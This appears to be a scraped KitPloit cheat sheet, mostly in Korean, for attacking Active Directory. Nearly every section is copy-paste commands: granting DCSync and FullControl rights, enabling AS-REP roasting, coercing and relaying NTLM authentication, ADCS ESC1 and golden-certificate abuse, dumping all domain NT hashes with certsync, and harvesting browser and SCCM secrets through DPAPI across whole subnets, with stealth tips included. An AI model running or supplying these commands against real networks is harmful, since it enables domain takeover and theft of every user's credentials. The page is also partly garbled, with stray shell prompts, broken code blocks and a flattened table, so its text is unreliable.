# bloodyAD — cleanup
bloodyAD -H 192.168.1.1 -d DOMAIN -u admin -p AdminPass \
  remove genericAll "CN=targetuser,CN=Users,DC=domain,DC=local" jdoe

# dacledit.py — grant DCSync
dacledit.py -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# dacledit.py — grant GenericAll
dacledit.py -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# owneredit.py — change owner
owneredit.py -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  DOMAIN/admin:[email protected]

# gopacket — dacledit: read DACL on an object (requires -port 389)
dacledit -action read -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant DCSync rights
dacledit -action write -rights DCSync \
  -principal jdoe -target-dn "DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — dacledit: grant FullControl
dacledit -action write -rights FullControl \
  -principal jdoe -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]
# gopacket — owneredit: change owner (requires -port 389)
owneredit -action write -new-owner jdoe \
  -target-dn "CN=targetuser,CN=Users,DC=domain,DC=local" \
  -dc-ip 192.168.1.1 -port 389 DOMAIN/admin:[email protected]

# Titanis — post-exploitation after ACE grant (force password reset)
Kerb setpw -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password jdoePass \
  targetuser@DOMAIN NewPass123

↑ 목차로 돌아가기


사용자 속성 수정 (UAC Bitflags)```bash

impacket — enable / disable an account (net.py covers these two UAC bits directly)

net.py DOMAIN/admin:[email protected] user -enable targetuser net.py DOMAIN/admin:[email protected] user -disable targetuser

bloodyAD — add UAC flag (enable AS-REP roasting)

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123
add uac targetuser -f DONT_REQ_PREAUTH

bloodyAD — remove UAC flag (re-enable account)

bloodyAD -H 192.168.1.1 -d DOMAIN -u jdoe -p Password123
remove uac targetuser -f ACCOUNTDISABLE

Titanis

Ldap moduser 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
targetuser userAccountControl+=4194304

gopacket — enable / disable an account

net DOMAIN/admin:[email protected] user -enable targetuser net DOMAIN/admin:[email protected] user -disable targetuser

gopacket — pass-the-hash

net -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] user -enable targetuser

root@kitploit:~
[↑ 색인으로 돌아가기](#index)

---

## 7. 인증 강제

> coerce 단계를 `ntlmrelayx` 또는 Responder와 페어링하여 relay 단계를 수행하세요. Titanis `credcoerce`는 MS-EFSR만 지원합니다.```bash
# MS-EFSR — single technique
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile

# MS-EFSR — multiple techniques
CredCoerce 192.168.1.10 \\<listener-ip>\share \
  -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  -Techniques Efs.OpenFile,Efs.EncryptFile,Efs.DecryptFile,\
  Efs.QueryUsersOnFile,Efs.QueryRecoveryAgents,Efs.FileKeyInfo,\
  Efs.DuplicateEncryptionInfoFile

# MS-RPRN (PrinterBug) — no Titanis equivalent
printerbug.py DOMAIN/jdoe:[email protected] <listener-ip>

# NetExec — coerce_plus covers all methods (PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, MSEven)
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip>
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PrinterBug
netexec smb 192.168.1.10 -u jdoe -p Password123 -M coerce_plus -o LISTENER=<listener-ip> METHOD=PetitPotam

# MS-DFSNM (DFSCoerce) — no Titanis equivalent
python3 dfscoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

# MS-FSRVP (ShadowCoerce) — no Titanis equivalent
python3 shadowcoerce.py -d DOMAIN -u jdoe -p Password123 <listener-ip> 192.168.1.10

↑ 인덱스로 돌아가기


Coerce + Relay 패턴```bash

Terminal 1 — relay listener (SMB)

ntlmrelayx.py -tf targets.txt -smb2support

Terminal 1 — relay to LDAP for RBCD / shadow credentials

ntlmrelayx.py -t ldaps://192.168.1.1 --delegate-access --escalate-user jdoe

Terminal 2 — trigger coercion

CredCoerce 192.168.1.10 \\share
-UserName jdoe -UserDomain DOMAIN -Password Password123 -Techniques Efs.OpenFile

root@kitploit:~
[↑ 인덱스로 돌아가기](#index)

---

## 8. 인증서

> **gopacket 상태:** ADCS 도구가 없습니다. 모든 인증서 작업에는 certipy, Titanis `Cert` 또는 impacket을 사용하세요.

### 자체 서명 PFX 생성```bash
# certipy — Golden Certificate from compromised CA key (requires -ca-pfx)
# Note: certipy forge cannot produce a self-signed cert without the CA private key;
#       for Shadow Credentials use certipy shadow or impacket's pyWhisker instead

# certipy — Golden Certificate from compromised CA key
certipy forge -upn Administrator@DOMAIN -ca-pfx ca.pfx -out admin.pfx

# openssl — generic PKI (not trusted by AD for PKINIT without NTAuth enrollment)
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes \
  -subj "/CN=jdoe"
openssl pkcs12 -export -out jdoe.pfx -inkey key.pem -in cert.pem -passout pass:Password123

# Titanis — works in interactive sessions (RDP/console); may fail in non-interactive sessions
Cert selfcert -Subject CN=jdoe -PfxFileName jdoe.pfx

↑ 목차로 돌아가기


ADCS 인증서 템플릿 열거```bash

certipy — includes ESC1–ESC8 vulnerability analysis

certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout

certipy — pass-the-hash

certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -vulnerable -stdout

NetExec

netexec ldap 192.168.1.1 -u jdoe -p Password123 -M adcs

msldap — raw template list

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> certify

msldap> certtemplates

Titanis — enumerate certificate templates

Note: Ldap search is broken on Linux (ignores -SearchBase, always queries RootDSE → no results)

Use ldapsearch below for Linux; Ldap search works on Windows

Windows only:

Ldap search 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \

-SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" \

"(objectClass=pKICertificateTemplate)" \

-OutputFields displayName,msPKI-Certificate-Name-Flag,msPKI-Enrollment-Flag,pKIExtendedKeyUsage

Titanis — enumerate Enterprise CAs (Windows only — same Ldap search limitation on Linux)

Ldap search 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \

-SearchBase "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" \

"(objectClass=pKIEnrollmentService)" \

-OutputFields displayName,dNSHostName,certificateTemplates

ldapsearch

ldapsearch -H ldap://192.168.1.1 -D "CN=jdoe,CN=Users,DC=domain,DC=local" -w Password123
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local"
"(objectClass=pKICertificateTemplate)" displayName msPKI-Certificate-Name-Flag

root@kitploit:~
[↑ 목차로 돌아가기](#index)

---

### ADCS ESC1 — NT 해시 등록 및 복구```bash
# Step 1 — enumerate vulnerable templates
certipy find -dc-ip 192.168.1.1 -u jdoe@DOMAIN -p Password123 -vulnerable -stdout

# Step 2a — request certificate with arbitrary UPN (certipy, HTTP/RPC enrollment)
certipy req -username jdoe@DOMAIN -password Password123 \
  -ca CA-NAME -template VulnerableTemplate \
  -upn [email protected] \
  -target ca.domain.local -out admin

# Step 2b — request certificate via SMB (aiosmb asmbcertreq — works when HTTP enrollment is firewalled)
asmbcertreq "smb+ntlm-password://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# aiosmb — pass-the-hash
asmbcertreq "smb+ntlm-nt://DOMAIN\jdoe:[email protected]" \
  -ca "CA-NAME" -template "VulnerableTemplate" -upn "[email protected]" -out admin.pfx

# Step 3a — certipy: recover NT hash + TGT
certipy auth -pfx admin.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# Step 3b — minikerberos: recover NT hash only
minikerberos-getNTPKInit \
  "kerberos+pfx://DOMAIN\Administrator:@192.168.1.1?pfx=admin.pfx" admin_nt.txt

# Step 4 — Titanis PTH with recovered hash (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)
Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> "whoami"
Smb2Client ls \\dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN \
  -NtlmHash <recovered_nt>
Reg dumpsam 192.168.1.1 -UserName Administrator -UserDomain DOMAIN -NtlmHash <recovered_nt> -BackupSemantics

↑ Back to Index


9. 이색적인 자격 증명 수집 (Exotic Credential Harvest)

NTDS 덤프와 동등한 자격 증명 커버리지를 제공하면서도 표준 메커니즘(DRSUAPI, VSS, NTDS 파일 접근)을 완전히 우회하는 기법들. DCSync가 차단되었거나, VSS가 모니터링되고 있거나, DA 수준의 접근 권한은 없지만 ADCS 또는 DPAPI 신뢰 경로가 존재할 때 유용합니다.


certsync — Golden Cert + UnPAC the Hash

DRSUAPI, VSS 또는 NTDS 파일 접근 없이 모든 도메인 사용자의 NT 해시를 덤프합니다. CA 관리자 권한(또는 내보낸 CA 인증서 + 개인 키)과 동작하는 PKINIT가 필요합니다. 워크플로: LDAP에서 사용자 열거 → CA 인증서/키 덤프 → 사용자별 인증서 위조 → 각 사용자에 대해 PKINIT를 통한 UnPAC the Hash 수행. secretsdump 형식의 출력을 생성합니다. 실제로 DCSync보다 느리지 않습니다.```bash

certsync — password auth (auto-discovers CA from LDAP)

certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — pass-the-hash

certsync -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
-u Administrator -d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — Kerberos (ccache)

export KRB5CCNAME=admin.ccache certsync -k -no-pass -u Administrator -d DOMAIN.LOCAL
-dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — supply existing CA cert + key (skip CA backup step; quieter)

certsync -ca-pfx ca.pfx -u jdoe -p Password123
-d DOMAIN.LOCAL -dc-ip 192.168.1.1 -ns 192.168.1.1

certsync — OPSEC: jitter, randomized per-user certs, custom LDAP filter

certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1
-ns 192.168.1.1 -timeout 2 -jitter 1 -randomize
-ldap-filter "(&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"

certsync — output to file

certsync -u jdoe -p Password123 -d DOMAIN.LOCAL -dc-ip 192.168.1.1
-ns 192.168.1.1 -outputfile domain_hashes

Feed recovered hashes into Titanis PTH flows (use IP for Wmi exec; FQDNs fail at WMI DCOM activation)

Wmi exec 192.168.1.1 -UserName Administrator -UserDomain DOMAIN
-NtlmHash <recovered_nt> "whoami" Smb2Client ls \dc01.domain.local\C$ -UserName Administrator -UserDomain DOMAIN
-NtlmHash <recovered_nt>

root@kitploit:~
[↑ 색인으로 돌아가기](#index)

---

### DPAPI 도메인 백업 키 — 대량 자격 증명 복호화

> DPAPI 도메인 백업 키는 DC에 보관된 도메인 전체 비밀로, 모든 사용자의 DPAPI 마스터 키를 복호화합니다. 따라서 도메인 내 모든 DPAPI 보호 blob: Chrome/Edge/Firefox 비밀번호, Windows 자격 증명 관리자, 인증서, Wi-Fi 키, SCCM NAA 계정, 예약 작업 자격 증명 등을 복호화할 수 있습니다. 이를 덤프하려면 DA 권한이 필요하지만, 일단 획득하면 명시적으로 교체하지 않는 한 키는 영구적으로 유효합니다. DPAPI blob에 저장된 비밀에 대해 NTDS와 맞먹는 자격 증명 범위를 제공하며, 해시가 아닌 평문 비밀번호를 제공하므로 횡적 이동에 더 유용한 경우가 많습니다.```bash
# Step 1 — dump the domain backup key (impacket)
dpapi.py backupkeys -t DOMAIN/Administrator:[email protected] --export
# Writes domain_backup.pvk to current directory

# Step 1 — impacket pass-the-hash
dpapi.py backupkeys -t DOMAIN/[email protected] --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — gopacket (subcommand syntax: positional target after subcommand)
dpapi backupkeys 'DOMAIN/Administrator:[email protected]' --export
# gopacket — pass-the-hash
dpapi backupkeys 'DOMAIN/[email protected]' --export \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

# Step 1 — dump the domain backup key (NetExec; fetches automatically during --dpapi)
netexec smb 192.168.1.1 -u Administrator -p Password123 --dpapi

# Step 2a — dploot: decrypt master keys for all domain users using backup key
dploot masterkeys -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk -outputfile masterkeys.txt

# Step 2b — dploot: decrypt all credential manager blobs across domain
dploot credentials -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2c — dploot: decrypt browser-stored passwords (Chrome, Edge, Firefox)
dploot browser -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2d — dploot: full triage (masterkeys + credentials + certificates + vaults)
dploot triage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2e — dploot: SCCM NAA credentials and collection variables
dploot sccm -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1 --pvk domain_backup.pvk

# Step 2f — dploot: machine (SYSTEM scope) DPAPI secrets
dploot machinetriage -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.1

# dploot — pass-the-hash
dploot triage -d DOMAIN -u Administrator \
  -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -t 192.168.1.1 --pvk domain_backup.pvk

# NetExec — DPAPI dump across subnet (fetches backup key automatically)
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi cookies
netexec smb 192.168.1.0/24 -u Administrator -p Password123 --dpapi nosystem

# DonPAPI — comprehensive remote DPAPI harvest across subnet in one pass
# (auto-fetches backup key, decrypts masterkeys, dumps all DPAPI-protected secrets)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --fetch-pvk

# DonPAPI — supply existing backup key (quieter; avoids re-dumping from DC)
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --pvkfile domain_backup.pvk

# DonPAPI — targeted collectors only
DonPAPI collect -d DOMAIN -u Administrator -p Password123 \
  -t 192.168.1.0/24 --collectors SCCM,Certificates,Wifi,CredMan

↑ 목차로 돌아가기


도구 다운로드
  • NTFS 대체 데이터 스트림
  • 서버 NIC 열거
  • 대량 공유 열거 · smbclient.py
  • 오프라인 NTDS 구문 분석 · secretsdump.py
  • DCSync · secretsdump.py · Dsrep rep
  • 시나리오impacketgopacketTitanisminikerberos URLmsldap URLMetasploitaiosmb URL
    암호DOMAIN/user:Pass@hostDOMAIN/user:Pass@host-UserName user -UserDomain DOMAIN -Password Passkerberos+password://DOMAIN\user:Pass@kdcldap+ntlm-password://DOMAIN\user:Pass@dcSMBDomain DOMAIN SMBUser user SMBPass Passsmb+ntlm-password://DOMAIN\user:Pass@host
    패스더해시-hashes :NTLM-hashes :NTLM DOMAIN/user@host-NtlmHash <NTLM>kerberos+ntlm-nt://DOMAIN\user:NTLM@kdcldap+ntlm-nt://DOMAIN\user:NTLM@dcSMBPass aad3b435b51404eeaad3b435b51404ee:NTLMsmb+ntlm-nt://DOMAIN\user:NTLM@host
    AES 키-aesKey <hex>-aesKey <hex>-AesKey <hex>kerberos+aes://DOMAIN\user:hex@kdcldap+kerberos+aes://.../?dc=ipAESKEY <hex>smb+kerberos+aes://DOMAIN\user:hex@host/?dc=ip
    RC4 키-hashes 사용-hashes :NTLM 사용-NtlmHashkerberos+rc4://DOMAIN\user:NTLM@kdcldap+kerberos+rc4://.../?dc=ipNTHASH <NTLM>smb+kerberos+rc4://DOMAIN\user:NTLM@host/?dc=ip
    ccacheKRB5CCNAME=file.ccacheKRB5CCNAME=f.ccache -k -no-pass DOMAIN/user@host-TicketCache file.ccachekerberos+ccache://...?ccache=f.ccacheldap+kerberos+ccache://.../?dc=ip&ccache=f.ccacheKrbUseCachedCredentials truesmb+kerberos+ccache://DOMAIN\user:@host/?dc=ip&ccache=f.ccache
    kirbi 티켓먼저 변환ticketConverter file.kirbi file.ccache 먼저-Ticket file.kirbiminikerberos-kirbi2ccache 먼저먼저 변환auxiliary/admin/kerberos/ticket_converter먼저 ccache로 변환
    PKINIT / PFXcertipy / gettgtpkinit——kerberos+pfx://...?pfx=f.pfx&pfxpass=Pldap+kerberos+pfx://.../?dc=ip&pfx=f.pfx—smb+kerberos+pfx://DOMAIN\user:@host/?dc=ip&pfx=f.pfx&pfxpass=P
    NEGOEX / PFX———n/an/a—smb+negoex-pfx://cert.pfx:certpass@host/
    SOCKS5proxychains 접두사proxychains 접두사 (네이티브 cgo; GOFLAGS 우회 불필요)-Socks5 host:portn/a?proxytype=socks5&proxyhost=...&proxyport=...set Proxies socks5:127.0.0.1:1080?proxyhost=127.0.0.1&proxyport=1080
    SOCKS4n/an/an/an/an/an/a?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080
    RPC 암호화n/an/a-EncryptRpcn/an/a자동n/a (SMB 서명 자동 협상됨)
    백업 의미 체계n/an/a-BackupSemantics (Reg) / -UseBackupSemantics (Smb2Client)n/an/an/an/a
    익명 바인딩제한적—문서화되지 않음n/aldap://192.168.1.1n/an/a
    QUIC (Azure)n/an/an/an/an/an/asmb+quic+ntlm-password://DOMAIN\user:Pass@host
    LDAP 포트(직접 LDAP)-port 389 필수 (기본 445는 LDAP 도구를 깨뜨림)(직접 LDAP)(URL 포트)(URL 포트)——